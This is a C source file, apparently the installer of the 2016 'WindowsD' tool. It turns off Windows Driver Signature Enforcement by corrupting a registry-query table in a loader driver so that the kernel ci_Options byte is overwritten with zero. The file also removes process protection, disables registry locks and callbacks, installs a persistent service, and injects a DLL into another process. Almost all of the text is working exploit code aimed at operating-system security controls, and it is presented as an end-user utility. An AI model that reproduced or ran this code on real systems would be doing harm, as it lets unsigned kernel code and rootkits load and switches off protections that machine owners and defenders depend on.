10 static void *get_res(int id
, int *len
)
12 HRSRC h
= FindResource(NULL
, MAKEINTRESOURCE(id
), RT_RCDATA
);
13 HGLOBAL g
= LoadResource(NULL
, h
);
14 *len
= SizeofResource(NULL
, h
);
15 return LockResource(g
);
18 static void *get_mod_info()
23 NTSTATUS ret
= NtQuerySystemInformation(
24 SystemModuleInformation
, NULL
, 0, &got
);
25 if (ret
!= STATUS_INFO_LENGTH_MISMATCH
)
29 if (NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation
, m
, got
, &got
)))
35 static ULONG_PTR
get_mod_base(RTL_PROCESS_MODULES
*m
, char *name
)
37 for (int i
= 0; i
< m
->NumberOfModules
; i
++) {
38 RTL_PROCESS_MODULE_INFORMATION
*p
= m
->Modules
+ i
;
39 if (!stricmp(name
, (char*)p
->FullPathName
+ p
->OffsetToFileName
))
40 return (ULONG_PTR
)p
->ImageBase
;
46 // on x86, we dont have the luxury of saving the original ci_Options
47 // We attempt to guess semi-correct value of the first byte.
48 // Since x86 has no PatchGuard running (yet?), this needs to be only
49 // semi-accurate to feign the "secure" kernel status.
50 static ULONG_PTR
guess_ci()
52 DWORD dw
, infoci
[2] = { sizeof(infoci
) };
53 unsigned char infosb
[0x18];
54 unsigned char infobe
[0x20];
58 status
= NtQuerySystemInformation(SystemCodeIntegrityInformation
, &infoci
, sizeof(infoci
), &dw
);
59 DBG("QueryCI status %08x", (unsigned)status
);
60 if (!NT_SUCCESS(status
))
63 status
= NtQuerySystemInformation(SystemSecureBootPolicyInformation
, &infosb
, sizeof(infosb
), &dw
);
64 DBG("QuerySecureBoot status %08x", (int)status
);
65 if (NT_SUCCESS(status
)) {
67 // if ( *(_BYTE *)(v5 + 0x14) & 0x80 )
69 // LOWORD(v8) = g_CiOptions | 0x20;
70 // g_CiOptions |= 0x20u;
72 status
= NtQuerySystemInformation(SystemBootEnvironmentInformation
, &infobe
, sizeof(infobe
), &dw
);
73 DBG("QueryBootEnv status %08x", (int)status
);
74 if (NT_SUCCESS(status
)) {
75 if (infosb
[0x14] & 0x80)
80 DBG("infoci is %d", (int)infoci
[1]);
81 if (infoci
[1] & 1) // enabled
83 if (infoci
[1] & 2) // testsign
90 static ULONG_PTR
ci_analyze(void *mods
, wind_config_t
*cfg
)
95 ULONG_PTR base
= get_mod_base(mods
, "CI.DLL");
100 MEMORY_BASIC_INFORMATION info
;
102 wcscpy(path
+ GetSystemDirectory(path
, PATH_MAX
), L
"\\CI.DLL");
103 ci
= LoadLibraryEx(path
, NULL
, DONT_RESOLVE_DLL_REFERENCES
);
105 DBG("no ci initialize %d %S",(int)GetLastError(), path
);
109 p
= (void*)GetProcAddress(ci
, "CiInitialize");
112 DBG("analyzing ci, modbase=%p, userbase=%p",(void*)base
, (void*)mod
);
114 // find jmp CipInitialize
115 for (int i
= 0; i
< 100; i
++, p
++) {
116 // jmp/call forwardnearby
117 if (((p
[-1]&0xfe) == 0xe8) && ((!(p
[2]|p
[3]))||((p
[2]&p
[3])==0xff))) {
118 BYTE
*t
= p
+ 4 + *((DWORD
*)p
);
119 DBG("candidate %x %p",p
[-1],t
);
120 // Don't eat the security cookie
122 // mov rax, [rip+something]
123 if (EQUALS(t
, "\x48\x8b\x05"))
126 // mov eax, [something]
133 DBG("CipInitialize not found in vicinity");
136 DBG("CipRef @ %p", p
);
137 p
= p
+ 4 + *((DWORD
*)p
);
138 DBG("CiInitialize @ %p", p
);
140 for (int i
= 0; i
< 100; i
++, p
++) {
142 // mov ci_Options, ecx; check the relip points back and close
143 if (p
[-2] == 0x89 && p
[-1] == 0x0d && p
[3] == 0xff) {
144 ci_opt
= (ULONG_PTR
)(p
+ 4) + *((LONG
*)p
);
148 // mov ci_Options, eax|ecx; call __imp_something
149 if (p
[4] == 0xff && p
[5] == 0x15)
151 DWORD dw
= *((DWORD
*)(p
+6));
152 if (dw
> mod
&& dw
< (mod
+1024*1024)) {
153 ci_opt
= *(ULONG_PTR
*)p
;
159 DBG("ci_Options not found");
163 // Scratch space we use to stash original ci_Options into
164 if (!VirtualQuery((void*)ci_opt
, &info
, sizeof(info
)))
166 cfg
->ci_orig
= ((info
.BaseAddress
+ info
.RegionSize
- 4) - mod
+ base
);
167 // Some dummy, unknown key
168 p
= (void*)mod
+ 4096;
169 // key address must incorporate RTL_QUERY_REGISTRY_DIRECT !
170 while (*((UINT32
*)p
)>0xff || (!(((ULONG_PTR
)p
)&0x20))) p
++;
171 key
= (ULONG_PTR
)p
- mod
+ base
;
173 cfg
->ci_guess
= guess_ci();
176 cfg
->ci_opt
= (void*)(ci_opt
- mod
+ base
);
179 DBG("ci done %d",(int)key
);
183 static int nt_path(WCHAR
*dst
, WCHAR
*src
)
185 // TBD: something smarter may be needed
186 return swprintf(dst
, PATH_MAX
, L
"\\??\\%s", src
)*2+2;
189 static int create_service(WCHAR
*svc
, WCHAR
*name
, WCHAR
*image
)
193 wcscpy(svc
, SVC_BASE
);
198 for (WCHAR
*i
= name
= image
; *i
; i
++)
201 while (*name
&& *name
!= '.')
206 if (!NT_SUCCESS(RtlCreateRegistryKey(0, svc
)))
208 RtlWriteRegistryValue(0, svc
, L
"ImagePath", REG_SZ
, tmp
, nt_path(tmp
, image
));
210 RtlWriteRegistryValue(0,svc
, L
"Type", REG_DWORD
, &dw
, sizeof(dw
));
211 DBG("created service reg=%S, image=%S", svc
, image
);
215 static void *read_file(WCHAR
*path
, int *len
)
220 f
= CreateFile(path
, GENERIC_READ
, FILE_SHARE_READ
, 0, OPEN_EXISTING
, 0, 0);
221 if (f
== INVALID_HANDLE_VALUE
)
223 sz
= GetFileSize(f
, NULL
);
224 if (sz
== INVALID_FILE_SIZE
)
226 DBG("reading %S, size=%d", path
, (int)sz
);
228 if ((!ReadFile(f
, buf
, sz
, &ret
, NULL
)) || (sz
!= ret
)) {
229 DBG("read failed %d/%d %x",(int)sz
,(int)ret
,(int)GetLastError());
239 static int update_file(WCHAR
*fullpath
, WCHAR
*name
, int res
)
245 int elen
, len
, ret
= 0;
248 DBG("updating file %S, rsrc=%d", name
, res
);
251 if (!GetModuleFileName(NULL
, tmp
, PATH_MAX
))
253 DBG("got self %S",tmp
);
254 buf
= read_file(tmp
, &len
);
255 } else buf
= get_res(res
, &len
);
258 DBG("failed to get update buffer data");
262 wcscpy(fullpath
+ GetSystemDirectory(fullpath
, PATH_MAX
), name
);
263 sz
= GetFileSize(fullpath
, NULL
);
264 DBG("got fullpath %S", fullpath
);
266 ebuf
= read_file(fullpath
, &elen
);
268 if ((elen
== len
) && (!memcmp(ebuf
, buf
, len
))) {
270 DBG("files equal, skip");
273 DBG("file nonequal? %d %d", elen
,len
);
276 f
= CreateFile(fullpath
, FILE_WRITE_DATA
,
277 FILE_SHARE_READ
, 0, CREATE_ALWAYS
, 0, 0);
279 if (f
== INVALID_HANDLE_VALUE
) {
280 swprintf(tmp
, PATH_MAX
, L
"%s.new", fullpath
);
281 f
= CreateFile(tmp
, FILE_WRITE_DATA
,
282 FILE_SHARE_READ
, 0, CREATE_ALWAYS
, 0, 0);
283 if (f
== INVALID_HANDLE_VALUE
)
289 ret
= WriteFile(f
, buf
, len
, &sz
, NULL
);
291 if (!ret
|| sz
!= len
) {
292 DeleteFile(needmove
?tmp
:fullpath
);
296 DBG("Will move from %S to %S on next boot", tmp
, fullpath
);
297 ret
= MoveFileEx(tmp
, fullpath
, MOVEFILE_DELAY_UNTIL_REBOOT
|MOVEFILE_REPLACE_EXISTING
);
298 if (!ret
) DeleteFile(tmp
);
300 DBG("ret done %d",ret
);
309 static int install_files(WCHAR
*svc
, WCHAR
*ldr
)
311 WCHAR dllpath
[PATH_MAX
];
312 WCHAR syspath
[PATH_MAX
];
313 WCHAR ldrpath
[PATH_MAX
];
315 if (!update_file(dllpath
, L
"\\" BASENAME
".exe", -1))
317 if (!update_file(dllpath
, L
"\\" BASENAME
".dll", DLL_ID
))
319 if (!update_file(syspath
, L
"\\drivers\\" BASENAME
".sys", SYS_ID
))
321 if (!update_file(ldrpath
, L
"\\drivers\\" BASENAME
"loader.sys", LOADER_ID
))
324 if (!create_service(svc
, NULL
, syspath
))
326 if (!create_service(ldr
, NULL
, ldrpath
))
332 static HANDLE
trigger_loader(WCHAR
*svc
, WCHAR
*ldr
, int boot
)
334 wind_config_t cfg
= {.bootreg
=boot
};
336 UNICODE_STRING svcu
, ldru
;
338 void *mod
= get_mod_info();
339 ULONG_PTR key
= ci_analyze(mod
, &cfg
);
344 RTL_QUERY_REGISTRY_TABLE tab
[4] ;
345 } buffer
= { .tab
= {
347 { // save original ci_Options byte to cisave
348 .Flags
= 32, // DIRECT
349 .Name
= (void*)key
, // valid string, but non-existent key
350 .EntryContext
= (void*)cfg
.ci_orig
, // destination
351 .DefaultType
= REG_DWORD
,
352 .DefaultData
= (void*)cfg
.ci_opt
, // source
353 .DefaultLength
= 1 // save 1 byte
355 { // overwrite ci_Options byte with 0
356 .Flags
= 32, // DIRECT
357 .Name
= (void*)key
, // valid string, but non-existent key
358 .EntryContext
= (void*)cfg
.ci_opt
, // data to overwrite
359 .DefaultType
= REG_DWORD
,
360 .DefaultData
= (void*)key
+ 2, // source - 4 zeros
361 .DefaultLength
= 1 // overwrite 1 byte
364 RtlWriteRegistryValue(0, ldr
, L
"FlowControlDisable", REG_SZ
, L
"x", 4);
367 // smash 4 stack DWORD entries
368 RtlWriteRegistryValue(0, ldr
, L
"FlowControlDisable", REG_MULTI_SZ
, L
"x\0x\0", 10);
370 RtlWriteRegistryValue(0, ldr
, L
"FlowControlDisplayBandwidth", REG_DWORD
, &cfg
.ci_opt
, 4);
371 // and write 0 byte there
372 RtlWriteRegistryValue(0, ldr
, L
"FlowControlChannelBandwidth", REG_SZ
, &zero
, 1);
377 DBG("preparing cfg for driver with:\n"
380 " .ci_guess = %02x\n"
381 , cfg
.ci_opt
, cfg
.ci_orig
, cfg
.ci_guess
);
383 RtlWriteRegistryValue(0, svc
, L
"cfg", REG_BINARY
, &cfg
, sizeof(cfg
));
385 RtlInitUnicodeString(&svcu
, svc
);
386 RtlInitUnicodeString(&ldru
, ldr
);
388 for (int retry
= 0; 1; retry
++) {
389 // try to load our driver if loader suceeded
390 status
= NtLoadDriver(&svcu
);
392 DBG("NtLoadDriver(%S) = %08x", svcu
.Buffer
, (unsigned)status
);
394 DBG("devopen=%p",dev
);
395 // remove loader, if still there
396 status
= NtUnloadDriver(&ldru
);
397 DBG("NtUnloadDriver(%S) = %08x", ldru
.Buffer
, (unsigned)status
);
404 // first attempt - positive REG_BINARY length
406 DBG("REG_BINARY positive");
407 RtlWriteRegistryValue(0, ldr
, L
"FlowControlDisplayBandwidth", REG_BINARY
,
408 ((void*)buffer
.tab
)+4, sizeof(buffer
.tab
)-4);
410 DBG("REG_BINARY negative");
411 RtlWriteRegistryValue(0, ldr
, L
"FlowControlDisplayBandwidth",REG_BINARY
,
412 ((void*)buffer
.tab
)-4, sizeof(buffer
.tab
)+4);
415 // request loader driver again
416 status
= NtLoadDriver(&ldru
);
417 DBG("NtLoadDriver(%S) = %08x", ldru
.Buffer
, (unsigned)status
);
424 static HANDLE
check_driver(int force
, int boot
)
430 WCHAR svc
[PATH_MAX
], ldr
[PATH_MAX
];
432 hmutex
= CreateMutex(NULL
, 0, L
"mutex"BASENAME
);
433 WaitForSingleObject(hmutex
,INFINITE
);
435 if (install_files(svc
, ldr
))
436 dev
= trigger_loader(svc
, ldr
, boot
);
438 ReleaseMutex(hmutex
);
447 if (!NT_SUCCESS(RtlAdjustPrivilege(ID_SeLoadDriverPrivilege
, 1, 0, &old
))) {
448 printf("You need to run this command as an Administrator.\n");
454 static int unprotect(WCHAR
*p
)
458 wind_prot_t prot
= {0};
463 dev
= check_driver(0,0);
465 printf("Failed to open/install WinD device.\n");
468 st
= wind_ioctl(dev
, WIND_IOCTL_PROT
, &prot
, sizeof(prot
));
470 if (!NT_SUCCESS(st
)) {
471 printf("Failed to de-protect %d, status %08x\n",
472 (int)prot
.pid
, (int)st
);
475 printf("%d is now de-protected.\n",(int)prot
.pid
);
479 static int load_driver(WCHAR
*name
)
489 dev
= check_driver(0,0);
496 printf("Control driver failed to load. Use debug binary for details.\n");
504 printf("Control driver loaded.\n");
509 for (int i
= 0; name
[i
]; i
++) {
510 if (name
[i
] == L
'.') {
511 WCHAR fullpath
[PATH_MAX
];
512 GetFullPathName(name
, PATH_MAX
, fullpath
, NULL
);
513 if (!create_service(svc
, NULL
, fullpath
)) {
514 printf("Failed to create service for file %S", fullpath
);
520 wcscpy(svc
, SVC_BASE
);
523 status
= wind_ioctl_string(dev
, WIND_IOCTL_INSMOD
, svc
);
524 if (!NT_SUCCESS(status
)) {
525 if (status
== STATUS_IMAGE_ALREADY_LOADED
) {
527 RtlInitUnicodeString(&us
, svc
);
528 status
= NtUnloadDriver(&us
);
529 if (!NT_SUCCESS(status
)) {
530 printf("Unload failed %08x\n", (int)status
);
532 status
= wind_ioctl_string(dev
, WIND_IOCTL_INSMOD
, svc
);
534 if (NT_SUCCESS(status
)) {
535 printf("%S re-loaded.\n", name
);
538 printf("Failed to load %S NTSTATUS=%08x", name
, (int)status
);
541 printf("%S loaded.", name
);
549 static int restore_point(char *name
)
551 SHELLEXECUTEINFOA shexec
= {
552 .cbSize
= sizeof(shexec
),
553 .fMask
= SEE_MASK_NOCLOSEPROCESS
,
558 HMODULE lib
= LoadLibraryA("SHELL32");
559 BOOL (WINAPI
*sh
)(VOID
*) = (void*)GetProcAddress(lib
, "ShellExecuteExA");
562 // we can be called before desktop is available, user32.dll could fail
565 f
= fopen(FILE_VBS
, "w+");
566 fprintf(f
, RESTORE_VBS
, name
);
570 printf("Creating restore point..."); fflush(stdout
);
571 WaitForSingleObject(shexec
.hProcess
,INFINITE
);
572 GetExitCodeProcess(shexec
.hProcess
, &ecode
);
573 DeleteFileA(FILE_VBS
);
577 static int do_install()
579 WCHAR path
[PATH_MAX
];
584 DBG("doing install");
588 st
= NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME
));
590 DBG("Unloading previous driver %x", (int)st
);
592 if (!check_driver(1,0)) {
593 printf("Failed to initialize driver.\n");
594 DBG("no driver, exiting");
598 scm
= OpenSCManager(NULL
, NULL
, SC_MANAGER_ALL_ACCESS
);
600 printf("Unable to initialize boot service.\n");
603 wcscpy(path
+ GetSystemDirectory(path
, PATH_MAX
), L
"\\" BASENAME
".exe /X");
604 DBG("injector=%S",path
);
606 h
= CreateService(scm
, L
"" BASENAME
"inject", L
""BASENAME
" injector service", SERVICE_ALL_ACCESS
,
607 SERVICE_WIN32_OWN_PROCESS
,
611 SERVICE_DEMAND_START
,
613 SERVICE_ERROR_IGNORE
,
614 path
, L
"Base", NULL
, NULL
, NULL
, NULL
);
615 if (!h
&& (GetLastError() == ERROR_SERVICE_EXISTS
)) {
616 DBG("svc already exists");
617 h
= OpenService(scm
, L
""BASENAME
"inject", SERVICE_ALL_ACCESS
);
621 DBG("attempting to start service");
622 StartService(h
, 0, NULL
);
624 DBG("service open failed, %d", (int)GetLastError());
627 printf(BASENAME
" installed successfuly.\n");
629 printf(BASENAME
" installation failed. Use debug version to find out why.\n");
631 CloseServiceHandle(h
);
632 CloseServiceHandle(scm
);
636 static int do_uninstall(int checkonly
)
640 if (!elevate() && !checkonly
)
642 scm
= OpenSCManager(NULL
, NULL
, SC_MANAGER_ALL_ACCESS
);
644 h
= OpenService(scm
, L
""BASENAME
"inject", SERVICE_ALL_ACCESS
);
650 printf("Service deleted.\n");
651 ret
= DeleteService(h
);
653 CloseServiceHandle(h
);
655 CloseServiceHandle(scm
);
657 NTSTATUS st
= NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME
));
659 DBG("Unloading previous driver %x", (int)st
);
661 printf(BASENAME
" uninstalled.\n");
663 printf("Some errors during uninstallation (already uninstalled?)\n");
669 static int is_installed()
671 return do_uninstall(1);
675 static int yesno(char *q
)
679 printf(">> %s [y/n]", q
);
681 while (getchar() != '\n');
682 } while (tolower(c
) != 'y' && tolower(c
) != 'n');
686 static int interactive_install()
688 printf("We're going to patch deep into windows and something may go awry.\n"
689 "The changes can be reversed by restoring registry (part of restore).\n"
690 "Creating a backup you can boot into is STRONGLY advised.\n");
691 if (!yesno("Create a system restore point?"))
693 if (!restore_point("Before installing " BASENAME
)) {
694 printf("Restore point creation failed!\n"
695 "Create restore point manualy NOW and then proceed!\n");
696 return yesno("Do you want to proceed with installation?");
697 } else printf("Done!\n");
703 while (getchar() != '\n') {};
706 static int usage(int interactive
)
708 int doit
, installed
= is_installed();
710 printf( "WindowsD "VERSTR
" kat@lua.cz 2016\n\n");
713 "This program can manipulate various restrictions of Windows:\n"
714 " * Driver signing ('DSE', which breaks freeware utilities like this one)\n"
715 " * Process protection ('unkillable processes', WinTCB)\n"
716 " * Most common methods of 'read only' registry locking\n"
722 "\nDriver actions:\n"
723 " "BASENAME
" /I install, disable DSE permanently\n"
724 " "BASENAME
" /U uninstall, re-enable DSE permanently\n"
725 " "BASENAME
" /L [service|driver.sys] load, (or re-load, if present) a driver\n"
727 " "BASENAME
" /W run interactive installer\n"
728 " "BASENAME
" /D <pid> de-protect specified process ID\n"
729 "\nRegistry actions:\n"
730 " "BASENAME
" /RD <\\Registry\\Path> R/O lock Disable\n"
731 " "BASENAME
" /RE <\\Registry\\Path> R/O lock Enable\n"
732 " "BASENAME
" /ND <\\Registry\\Path> Notify/refresh Disable\n"
733 " "BASENAME
" /NE <\\Registry\\Path> Notify/refresh re-Enable\n"
734 " "BASENAME
" /CD Disable global registry callbacks\n"
735 " "BASENAME
" /CE Re-enable global registry callbacks\n\n"
736 " Note that Path has to be NT path, such as the following examples:\n"
737 " \\Registry\\Machine\\System\\CurrentControlSet\\Control\\Services\n"
738 " \\Registry\\User\\Environment\n"
743 printf("Entering interactive mode (invoke " BASENAME
" /? for cmd options)\n\n");
745 printf("Detected running " BASENAME
".\n");
746 doit
= yesno("Do you wish to uninstall it?");
748 printf(BASENAME
" is not installed. Unsigned drivers will not load at boot.\n");
749 doit
= yesno("Do you wish to install it system-wide?");
755 printf("Uninstalling...");
756 ret
= do_uninstall(0);
758 if (!interactive_install())
760 printf("Installing...");
763 printf("All done! Press enter to close...");
768 printf("Operation cancelled, press enter to close...");
774 static void WINAPI
service_ctl(DWORD code
)
778 static void inject_parent(int pid
)
781 HANDLE hthr
, hp
= OpenProcess(PROCESS_ALL_ACCESS
,FALSE
,pid
);
783 DBG("opened pid=%d handle=%p err=%d",pid
,hp
,(int)GetLastError());
784 dst
= VirtualAllocEx(hp
, NULL
, 4096, MEM_RESERVE
|MEM_COMMIT
, PAGE_READWRITE
);
786 strcpy(path
+ GetSystemDirectoryA(path
,PATH_MAX
), "\\" BASENAME
".dll");
788 DBG("injecting into parent pid=%d h=%p dst=%p path=%s",(int)pid
,hp
,dst
,path
);
790 if (!WriteProcessMemory(hp
, dst
, path
, strlen(path
) + 1, NULL
)) {
791 DBG("writing memory failed %d", (int)GetLastError());
795 lla
= GetProcAddress(GetModuleHandleA("KERNEL32.DLL"),"LoadLibraryA");
797 DBG("failed to get LoadLibraryA");
800 hthr
= CreateRemoteThread(hp
, NULL
, 0, lla
, dst
, 0, NULL
);
801 WaitForSingleObject(hthr
, INFINITE
);
807 static void fix_boot_drivers()
809 SC_HANDLE scm
= OpenSCManager(NULL
, NULL
, SC_MANAGER_ALL_ACCESS
);
811 ENUM_SERVICE_STATUS_PROCESS
*buf
;
812 QUERY_SERVICE_CONFIG
*cfg
= NULL
;
817 EnumServicesStatusEx(scm
, SC_ENUM_PROCESS_INFO
, SERVICE_DRIVER
,
818 SERVICE_INACTIVE
, NULL
, 0, &sz
,
821 if (!sz
) goto outclose
;
824 if (!EnumServicesStatusEx(scm
, SC_ENUM_PROCESS_INFO
, SERVICE_DRIVER
,
825 SERVICE_INACTIVE
, (void*)buf
, sz
, &sz
,
829 DBG("got %d services", (int)nserv
);
830 for (int i
= 0; i
< nserv
; i
++) {
831 SERVICE_STATUS_PROCESS
*stat
= &buf
[i
].ServiceStatusProcess
;
833 if (stat
->dwServiceType
> 3) continue;
834 sc
= OpenService(scm
, buf
[i
].lpServiceName
, SERVICE_ALL_ACCESS
);
836 if (!QueryServiceConfig(sc
, cfg
, cfgsz
, &cfgsz
)) {
837 if (GetLastError() == ERROR_INSUFFICIENT_BUFFER
) {
838 cfg
= realloc(cfg
, cfgsz
);
841 CloseServiceHandle(sc
);
844 if (cfg
->dwStartType
> 1) {
845 CloseServiceHandle(sc
);
848 DBG("found stale boot service %S, starting",buf
[i
].lpServiceName
);
849 StartService(sc
, 0, NULL
);
850 CloseServiceHandle(sc
);
856 CloseServiceHandle(scm
);
859 static void WINAPI
service_main(DWORD argc
, WCHAR
**argv
)
861 SERVICE_STATUS_HANDLE svc
= RegisterServiceCtrlHandler(L
""BASENAME
, service_ctl
);
862 SERVICE_STATUS st
= {
863 .dwServiceType
= SERVICE_WIN32_OWN_PROCESS
,
864 .dwCurrentState
= SERVICE_START_PENDING
866 SetServiceStatus(svc
, &st
);
869 st
.dwCurrentState
= SERVICE_STOPPED
;
870 st
.dwWin32ExitCode
= 0;
871 SetServiceStatus(svc
, &st
);
874 static int run_service()
876 SERVICE_TABLE_ENTRY s_table
[] = {
877 {L
""BASENAME
"inject", service_main
},
884 wind_prot_t prot
= {0};
887 DBG("service launched");
889 StartServiceCtrlDispatcher(s_table
);
891 // If we're in safe mode, do nothing.
892 if (GetSystemMetrics(SM_CLEANBOOT
))
897 if (!NT_SUCCESS(NtQueryInformationProcess(GetCurrentProcess(), 0, &pbi
, sizeof(pbi
), &uls
)))
902 DBG("got parent pid=%d",pid
);
903 dev
= check_driver(0,1);
905 DBG("no driver, bye");
909 st
= wind_ioctl(dev
, WIND_IOCTL_PROT
, &prot
, sizeof(prot
));
910 if (!NT_SUCCESS(st
)) {
911 DBG("failed to unprotect services %08x", (int)st
);
918 wind_ioctl(dev
, WIND_IOCTL_PROT
, &prot
, sizeof(prot
));
926 static int regunlock(int mcmd
, WCHAR
*p
)
930 int cmd
= toupper(*p
++);
931 if ((!cmd
) || ((cmd
!= 'E') && (cmd
!= 'D')))
934 dev
= check_driver(0,0);
936 printf("Failed to open/install WinD device.\n");
940 printf("%sbling global registry callbacks...", cmd
=='E'?"Ena":"Disa");
941 status
= wind_ioctl(dev
, WIND_IOCTL_REGCBOFF
+((cmd
=='E')<<2), NULL
, 0);
942 } else if (cmd
== 'D') {
943 printf("Unlocking %S...", p
);
944 status
= wind_ioctl_string(dev
,
947 :WIND_IOCTL_REGLOCKOFF
, p
);
949 printf("Locking %S...", p
);
950 status
= wind_ioctl_string(dev
,
953 :WIND_IOCTL_REGLOCKON
, p
);
955 if (NT_SUCCESS(status
))
958 printf("error %08x\n", (int)status
);
960 return NT_SUCCESS(status
);
963 void ENTRY(win_main
)()
966 CONSOLE_SCREEN_BUFFER_INFO csbi
;
967 int explorer
= GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE
), &csbi
)
968 && !(csbi
.dwCursorPosition
.X
|csbi
.dwCursorPosition
.Y
);
970 WCHAR
*cmd
= GetCommandLine();
971 int quot
= *cmd
++ == L
'"';
972 while (*cmd
&& (quot
|| (cmd
[0]>L
' ')))
975 while (*cmd
&& *cmd
<= L
' ')
978 if ((*cmd
!= L
'/') && (*cmd
!= L
'-'))
982 cc
= toupper(cmd
[-1]);
985 ret
= !!do_install();
988 ret
= !!do_uninstall(0);
994 ret
= !!load_driver(cmd
);
997 ret
= !!run_service();
1000 ret
= !!unprotect(cmd
);
1005 ret
= !!regunlock(cc
, cmd
);
1012 printf("Press enter...");